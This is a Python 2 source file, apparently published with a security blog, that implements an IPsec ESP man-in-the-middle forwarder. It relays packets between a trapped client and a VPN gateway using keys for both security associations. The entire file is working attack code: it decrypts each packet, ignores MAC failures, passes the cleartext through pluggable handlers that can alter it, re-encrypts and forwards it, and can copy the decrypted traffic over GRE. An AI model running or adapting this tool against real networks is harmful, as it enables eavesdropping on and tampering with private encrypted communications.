# ESP_forwarder.py
# For IPsec ESP man in the middle
#
# http://graland-security.blogspot.com
#
#!/usr/bin/env python2

from struct import pack, unpack
from select import select
from binascii import hexlify
from time import sleep
import socket
import hmac, hashlib
try:
    from Crypto.Cipher import AES
except ImportError:
    print '[WNG] pycrypto not found:'\
          'ESP.protect() / ESP.unprotect() will fail'
#
#
# when receiving ESP, unprotect it and get payload with a given SA
# and protect it back with the other SA and forward it
#
class ESP_forwarder(object):

    # class debugging level
    dbg = 0
    #
    # local socket parameters for handling ESP packets
    local_ip = '192.168.1.10'
    local_port = 4500
    sk_timeout = 5
    sk_buflen = 4096
    #
    # cipher block length / HMAC length,
    # for ESP packet parsing / building routine
    blen, hlen = 16, 12
    #
    # local socket address for ESP (tunnel) clear traffic duplication
    # over GRE protocol
    dup_ip = '127.10.10.10'
    # dummy GRE header for carrying IPv4 packet
    gre_hdr = '\0\0\x08\0'
    #
    # And finally, trapped client and server net address
    cli_addr = ('192.168.1.15', 4500)
    srv_addr = ('10.20.30.40', 4500)

    def __init__(self, SA_cli={}, SA_srv={}):
        #
        # init traffic handlers (e.g. proxies / modifiers)
        self.modules = []
        # a traffic handler is a 2-tuple (handler, bool)
        # where handler(buf) -> buf,
        # with 'buf' being the IPsec ESP internal payload;
        # bool=True makes the handler one-shot,
        # while bool=False makes the handler remaining as a hook
        # until it is explicitely removed with rmmod()
        #
        # SA = {'SPIi':[Kenci, Kauti, SPIi], 'SPIr':[Kencr, Kautr, SPIr]}
        # SA_cli is the SA established with the client, which is the initiator
        # SA_srv is the SA established with the gateway, which is the responder
        self.SA_cli = SA_cli
        self.SA_srv = SA_srv
        # create the UDP socket on port 4500
        self.sk = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, \
                                socket.IPPROTO_UDP)
        self.sk.settimeout(self.sk_timeout)
        self.sk.bind((self.local_ip, self.local_port))
        # running loop condition
        self.must_stop = False

    def run(self, duplicate_local=False):
        # run a select() loop
        # and transfer ESP incoming packet
        peers = (self.cli_addr, self.srv_addr)
        # count packets handled
        cnt = 0
        # for traffic duplication, send clear packet into dummy GRE header
        # to local interface with RAW socket
        # IPPROTO_GRE is 47
        if duplicate_local:
            self.gre_sk = socket.socket(socket.AF_INET, socket.SOCK_RAW, 47)
            self.gre_sk.bind((self.dup_ip, 0))
        # Loop on select
        while not self.must_stop:
            recv = select([self.sk], [], [], self.sk_timeout)[0]
            for r in recv:
                buf = ''
                (buf, addr) = r.recvfrom(self.sk_buflen)
                #print('from: %s' % addr)
                if buf and addr in peers:
                    cnt += 1
                    buf = self.transfer(buf, duplicate_local)
                    if buf:
                        dst = peers[(peers.index(addr)+1)%2]
                        #print('to: %s' % dst)
                        self.sk.sendto(buf, dst)
                    if cnt == 1024:
                        cnt = 0
                        print '[+] 1024 more packets handled'
        # close sockets when thread is ending
        self.sk.close()
        self.gre_sk.close()

    def stop(self):
        self.must_stop = True
        sleep(self.sk_timeout)

    def transfer(self, espbuf, duplicate_local=False):
        # function that gets a packet from a given SPI (cli or srv)
        # unprotect it accordingly
        # and protect it with the corresponding other side SPI (srv or cli)
        spi = espbuf[:4]

        # check if IKEv2 packet received
        if spi == '\0\0\0\0':
            if self.dbg:
                print('[+] Got IKEv2 packet... ignored')
            # if an IKEv2 delete is received
            # (next payload is 42 in the Encryted payload header)
            if ord(espbuf[32]) == 42:
                print('[+] Got an IKEv2 DELETE packet')
            return ''

        # check if packet incoming from the client
        elif spi == self.SA_cli['SPIi'][2]:
            if self.dbg:
                print('[+] Got ESP packet from cli / initiator')
            # unprotect with the keys from the cli initiator
            buf, (seq, iv) = self.unprotect(espbuf, self.SA_cli['SPIi'][0])
            buf = self.handle(self.__unpad_espbuf(buf))
            if duplicate_local:
                self.__duplicate(buf)
            # protect with the keys from the srv initiator
            return self.protect(self.__pad_espbuf(buf), self.SA_srv['SPIi'], \
                                (seq, iv))

        # check if packet incoming from the gw
        elif spi == self.SA_srv['SPIr'][2]:
            if self.dbg:
                print('[+] Got ESP packet from srv / responder')
            # unprotect with the keys from the srv responder
            buf, (seq, iv) = self.unprotect(espbuf, self.SA_srv['SPIr'][0])
            buf = self.handle(self.__unpad_espbuf(buf))
            if duplicate_local:
                self.__duplicate(buf)
            # protect with the keys from the cli responder
            return self.protect(self.__pad_espbuf(buf), self.SA_cli['SPIr'], \
                                (seq, iv))

        else:
            if self.dbg:
                print('[+] Got ESP packet with unknown SPI')
            return ''

    def unprotect(self, buf, Kenc, Kaut=''):
        # get ESP header (SPI, seq and cipher init) and trailer (MAC)
        spi = buf[0:4]
        seq = unpack('!I', buf[4:8])[0]
        # IV hardcoded for AES-CBC-128
        iv = buf[8:8+self.blen]
        # MAC length hardcoded for HMAC-96
        mac = buf[-self.hlen:]
        # verify MAC
        if Kaut:
            if mac != hmac.new(Kaut, buf[:-self.hlen]+self.hlen*'\0', \
                               hashlib.sha1).digest()[0:self.hlen]:
                print '[+] Received ESP packet with false MAC: do not care'
        # get ciphered part only
        buf = buf[8+self.blen:-self.hlen]
        # decipher with Kenc, alg is AES-CBC-128
        alg = AES.new(key=Kenc, mode=2, IV=iv)
        buf = alg.decrypt(buf)
        # and return it with (seq, iv) to be reused
        if self.dbg > 1:
            print('[DBG] raw unprotected ESP buffer:\n%s\n' % hexlify(buf))
        return buf, (seq, iv)

    def protect(self, buf, (Kenc, Kaut, spi), (seq, iv)):
        # make ESP header
        hdr = ''.join((spi, pack('!I', seq), iv))
        # cipher buffer with Kenc
        alg = AES.new(key=Kenc, mode=2, IV=iv)
        buf = alg.encrypt(buf)
        # make MAC with Kaut, alg is HMAC-SHA1-96
        buf = ''.join((hdr, buf))
        buf = ''.join((buf, hmac.new(Kaut, buf, hashlib.sha1).digest()[0:12]))
        # return the complete ESP payload
        return buf

    def handle(self, buf):
        # manages IPsec ESP internal traffic handlers
        for handler in self.modules:
            retbuf = handler[0](buf)
            if retbuf !=buf and handler[1]:
                self.rmmod(handler[0])
            buf = retbuf
        return buf

    def __unpad_espbuf(self, buf):
        # padding (*pad length) + uint8 (pad length) + uint8 (next header)
        return buf[:-(unpack('!B', buf[-2:-1])[0]+2)]

    def __pad_espbuf(self, buf):
        # check how much bytes are needed to match the encryption block length
        padlen = self.blen-(len(buf)+2)%self.blen
        return ''.join([buf] + [chr(i+1) for i in range(padlen)] + \
                       [chr(padlen), chr(4)])

    def __duplicate(self, buf):
        if hasattr(self, 'gre_sk'):
            # send GRE frame
            self.gre_sk.sendto(''.join((self.gre_hdr, buf)), (self.dup_ip, 0))

    # Those 3 methods are for managing dynamically clear traffic handlers
    def insmod(self, handler, oneshot_modifier=True):
        if type(oneshot_modifier) is not bool:
            oneshot_modifier = True
        if handler not in [h[0] for h in self.modules]:
            self.modules.append((handler, oneshot_modifier))
            print('[+] handler %s inserted' % handler)
        else:
            print('[+] handler already inserted')

    def rmmod(self, handler):
        if handler in [h[0] for h in self.modules]:
            try:
                self.modules.remove((handler, True))
            except ValueError:
                self.modules.remove((handler, False))
            print('[+] handler %s removed' % handler)
        else:
            print('[+] handler not present')

    def lsmod(self):
        print('[+] handlers engaged:\n%s' % [h[0] for h in self.modules])